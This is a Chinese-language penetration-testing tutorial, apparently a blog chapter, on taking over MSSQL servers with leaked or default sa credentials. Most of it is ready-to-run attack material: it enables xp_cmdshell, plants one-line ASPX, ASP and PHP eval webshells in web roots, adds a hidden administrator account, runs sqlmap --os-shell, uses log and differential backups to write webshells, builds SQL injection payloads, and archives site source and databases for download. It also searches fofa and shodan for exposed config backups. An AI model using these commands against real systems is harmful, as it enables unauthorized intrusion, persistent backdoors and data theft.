4.4 使用sqlmap直连MSSQL获取webshell或权限

简介: 4.4 使用sqlmap直连MSSQL获取webshell或权限

4.4 使用sqlmap直连MSSQL获取webshell或权限

在某些情况下可能不存在SQL注入漏洞,但是通过发现目标源代码泄露,备份泄露,文件包含等方法获取了数据库服务器的IP地址,数据库账户和密码,而且含有对外可以访问的端口,或者可以通过代理的方式能够访问到端口,简单点理解就是可以通过公网直连MSSQL数据库,那么这个时候就可以根据具体情况获取webshell或系统权限

4.4.1 MSSQL数据获取webshell相关命令

  1. 数据库恢复xp_cmdshell存储过程、

(1) 判断xp_cmdshell是否存在

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';

或者

if exists (SELECT null FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')

begin

print N'当前数据库引擎存在xp_cmdshell'

end

(2) MSSQL 2000版本:

dbcc addextendedproc ("xp_cmdshell", "xplog70.dll") exec sp_addextendedproc xp_cmdshell, @dllname ='xplog70.dll'

(3) MSSQL 2005及以上版本:

xp_cmdshell是默认关闭的,因此需要手动开启,但是开启xp_cmdshell需要sa权限

依次的步骤如下:

允许修改高级参数

exec sp_configure 'show advanced options',1;

配置生效

RECONFIGURE;

开启xp_cmdshell

exec sp_configure 'xp_cmdshell',1;

配置生效

RECONFIGURE;

可以一次性操作

exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'xp_cmdshell',1;RECONFIGURE;

关闭xp_cmdshell

开启高级选项

exec sp_configure 'show advanced options',1;

配置生效

RECONFIGURE;

关闭xp_cmdshell

exec sp_configure 'xp_cmdshell',0;

配置生效

RECONFIGURE;

一次性操作

exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'xp_cmdshell',0;RECONFIGURE;

  1. 手工注入写入shell

;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["bmfx"], "unsafe");%^>> D:\WWW\bmfx.aspx'

  1. 反弹写入webshell

'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["bmfx"], "unsafe");%^>> D:\WWW\bmfx.aspx'

这里的必要条件是必须知道网站的真实路径,可以通过访问网站文件出错来获取真实路径

  1. SQLTOOLS工具通过账户直接连接

(1) 恢复存储过程

(2) 通过文件管理查看文件及目录

(3) 获取网站的真实路径

(4) 写入shell

'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["bmfx"], "unsafe");%^>> D:\WWW\bmfx.aspx'

  1. 知道sa账户和密码,直连后写入webshell或获取系统权限

sqlmap.py -d mssql://sa:sa@xxx.xxx.xxx.xxx:1433/master --os-shell

  1. 执行提权命令

;exec master..xp_cmdshell 'net user bmfx bmfx /add' 或者

;exec master.dbo.xp_cmdshell 'net user bmfx bmfx /add'

;exec master..xp_cmdshell 'net localgroup administrators bmfx /add' 或者

;exec master.dbo.xp_cmdshell 'net localgroup administrators bmfx /add'

exec master..xp_cmdshell 'whoami';

这里就是通过存储过程执行添加用户和密码 ,然后将添加的用户加入到管理员组

  1. 日志备份获取webshell

(1) log日志备份获取webshell

';alter database bmfxtest set RECOVERY FULL--

';use bmfxtest--

';create table cmd (a image)--

';backup log bmfxtest to disk = 'C:\dbbackup' with init--

';insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)--

';backup log bmfxtest to disk = 'D:\wwwroot\bmfx.asp'--

';drop table cmd--

=====================================================================================

(2) 差异备份

sql注入执行sql语句

';drop table cmd--

';create table cmd (a image)--

';insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)--

';execute sp_makewebtask @outputfile='D:\www\bmfx.asp', @query='select a from cmd'--

';exec sp_configure 'Web Assistant Procedures', 1; RECONFIGURE

';insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)-- 这里括号里面是十六进制,可以通过Notepad++或者Burpsuite工具进行转换

执行sql语句

use bmfxtest

drop table test

create table cmd (a image)--

insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)--

execute sp_makewebtask @outputfile='C:\tools\erererbmfx.asp', @query='select a from cmd'

exec sp_configure 'Web Assistant Procedures', 1; RECONFIGURE

insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E) 这里括号里面是十六进制,可以通过Notepad++或者Burpsuite工具进行转换

上述测试有点问题,大家可以根据实际情况按照上面方式测试,下面有一种我测试成功,可以备份成本地文件

查看要创建的临时表是否被占用

IF EXISTS(select table_name from information_schema.tables where table_name='temp') drop table temp;

将数据库备份至文件中

backup database bmfxtest to disk = 'C:\tools\2233.bak';

创建临时表

create table test (a image);

写入木马

insert into test(a) values(0x3C25657865637574652872657175657374282261222929253E);

重新备份,木马写入文件

backup database bmfxtest to disk = 'C:\tools\22332.asp' with differential,format;

  1. 手工注入获取webshell

(1) 注入点判断

' and 1=user;--

(2) 创建临时表

';CREATE TABLE TTBMFX_TMP (tmp1 varchar(8000));--

(3) 查询文件

for /r C:\ %i in (Newslist*.aspx) do @echo %i

或者

for /r C:\ %i in (Newslist.aspx*) do @echo %i

上面就是根据某一个文件名,然后通过通配符遍历出路径,下面就是实际带入到SQL注入中操作

';insert into tt_tmp(tmp1) exec master..xp_cmdshell 'for /r C:\ %i in (Newslist*.aspx) do @echo %i ';--

(4) 查看文件名称并获取真实的路径

' and 1=(select top 1 tmp1 from tt_tmp) and 'a'='a

' and 1=(select top 1 tmp1 from tt_tmp where tmp1 not in ('C:\inetpub\wwwroot\bmfx.aspx')) and 'a'='a

(5) 文件写入测试

';exec master..xp_cmdshell 'echo test > C:\tools\bmfx.txt';--

(6) 写入shell

';exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval (Request.Item["bmfx"], "unsafe");%^ >> C:\tools\fx.aspx';--

4.4.2 MSSQL数据库获取webshell思路和方法

在实际的环境中需要根据实际情况判断,所有都是以结果为导向,通过获取数据库获取所在的服务器系统权限或者是webshell权限

  1. 通过SQL查询分析器及SQL数据库客户端进行连接获取webshell及系统权限

(1) 连接数据库成功测试

(2) 看是不是存在xp_cmdshell,如果存在就恢复xp_cmdshell存储过程

(3) 执行命令

  • 遍历C盘目录或者子目录及目录树结构

exec master.dbo.xp_dirtree 'C:\'

  • 获取当前所有驱动器

exec master.dbo.xp_availablemedia;

  • 获取子目录列表

exec master.dbo.xp_subdirs 'C:\';

  • 查看文件的内容

exec master.dbo.xp_cmdshell 'type C:\wwwroot\web\web.config';

(4) 找到网站目录,通过执行命令查看网页相对应的名称和类型,获取网站的真实路径

(5) 压缩源代码及数据库

rar a -ep -p123 D:\1.rar D:\wwwroot // 压缩网站下所有数据,密码为123

rar a -ep -p123 D:\ebmfx.rar D:\database\ebmfx.bak //压缩数据库,密码为123

move D:\ebmfx.rar D:\wwwroot\bmfx.rar //将ebmfx.rar 移动到wwwroot目录下

http://www.xxx.com/bmfx.rar //通过浏览器在本地下载bmfx.rar

(6) 写入一句话后门

';exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval (Request.Item["bmfx"], "unsafe");%^ >> C:\tools\fx.aspx';--

(7) webshell提权

  1. 通过SQLTOOLS工具进行文件查看获取webshell

(1) 恢复存储过程

(2) 执行命令或查看磁盘文件目录及内容

(3) 后续步骤跟上面类似

  1. 使用sqlmap直连MSSQL获取webshell或权限

(1) 连接测试

sqlmap.py -d mssql://sa:sa@ip:1433/master

实际测试过程如下,有点小问题,报错过程有如下操作,但是还没有解决,想想在Windows环境下,有非常好的操作工具遍历,所以sqlmap就不折腾了

sqlmap -d mssql://sa:sa@192.168.91.131:1433/master --os-shell

pip install pymssql

pip install pyodbc

apt-get install unixodbc -y

(2) 获取os-shell

sqlmap.py -d mssql://sa:sa@ip:1433/master --os-shell

(3) 在获取的shell中执行命令

  1. 查看CMS相关数据库,通过登录CMS来获取webshell

(1) 通过SQL查询分析器,SQLTOOLS,sqlmap获取CMS对应数据库

(2) 查看并获取后台管理员表数据

(3) 如果是加密数据,就进行解密

(4) 寻找CMS后台地址

(5) 登录CMS后台

(6) 寻找上传位置,尝试获取webshell

(7) 也可以通过log,差异备份的方法来获取webshell

4.4.3 sqlmap直连数据库获取webshell

  1. 直连数据库测试

sqlmap.py -d mssql://sa:xxxxxx@xx.xx.xx.xx:1433/master

  1. 获取os-shell

sqlmap.py -d mssql://sa:xxxxxx@xx.xx.xx.xx:1433/master --os-shell

  1. 如果未获取系统权限

(1) 查看磁盘文件

dir C:\

(2) 获取网站所在目录为C:\www\phpstudypro\,写入一句话后门到此目录下面

echo ^<?php @eval ($_POST['bmfx']);?^>^ >C:\www\phpstudypro\bmfx.php

echo ^<?php @eval ($_POST['bmfx']);?^>^ > C:\tools\bmfx.php

(3) 查看写入内容 type C:\www\phpstudypro\bmfx.php

(4) 获取webshell

  1. 执行其他命令

sqlmap.py -d mssql://sa:xxxxxx@xx.xx.xx.xx:1433/master --dbs

4.4.4 利用漏洞搜索引擎搜索目标

  1. 搜索网站备份文件

(1) 利用fofa网站搜索web.config.bak

(2) 利用shodan网站搜索web.config.bak

  1. 搜索其他关键字

www.rar, wwwroot.rar, wwwroot.zip, www.zip

4.4.5 构造SQL注入后门

  1. 构造SQL注入后门前提条件

通过前面的方法获取了目标站点的webshell,然后通过webshell在网站创建文件

  1. ASP+IIS+MSSQL站点构造SQL注入后门

(1) 不使用数据库连接文件

(2) 使用系统自带的连接文件

参考:

https://www.cnblogs.com/jerrylocker/p/10938899.html

https://www.cnblogs.com/ichunqiu/p/7249474.html

https://www.cnblogs.com/ichunqiu/p/7249516.html

相关文章
|
关系型数据库 MySQL Shell
4.3 使用sqlmap直连MySQL获取webshell
4.3 使用sqlmap直连MySQL获取webshell
534 0
|
1月前
|
SQL 关系型数据库 BI
使用 Webshell 访问 SQL Server 主机并利用 SSRS
使用 Webshell 访问 SQL Server 主机并利用 SSRS
|
SQL 存储 Java
4.2 SQL Server获取webshell及提权基础
4.2 SQL Server获取webshell及提权基础
117 0
|
应用服务中间件 数据库连接 数据安全/隐私保护
MSSQL绕过360提权实战案例
MSSQL绕过360提权实战案例
317 2
|
编解码 Oracle 关系型数据库
数据库渗透测试--sqlmap
sqlmap常用方式
131 1
|
SQL Shell 测试技术
MSSQL高权限注入写马至中文路径
MSSQL高权限注入写马至中文路径
176 0
|
网络协议 Shell Linux
MSSQL站库分离注入绕过WDF提权
MSSQL站库分离注入绕过WDF提权
237 0
|
关系型数据库 MySQL Linux
4.1 MySQL获取webshell及提权基础
4.1 MySQL获取webshell及提权基础
255 0
|
SQL 应用服务中间件 nginx
nginx禁止外网访问登录页面,SQL 注入、XSS 攻击配置
nginx禁止外网访问登录页面,SQL 注入、XSS 攻击配置
707 0
|
SQL 关系型数据库 PHP
使用SQLMAP对网站和数据库进行SQL注入攻击
from:http://www.blackmoreops.com/2014/05/07/use-sqlmap-sql-injection-hack-website-database/ 0x00 背景介绍 1. 什么是SQL注入? SQL注入是一种代码注入技术,过去常常用于攻击数据驱动性的应用,比如将恶意的SQL代码注入到特定字段用于实施拖库攻击等。
4702 0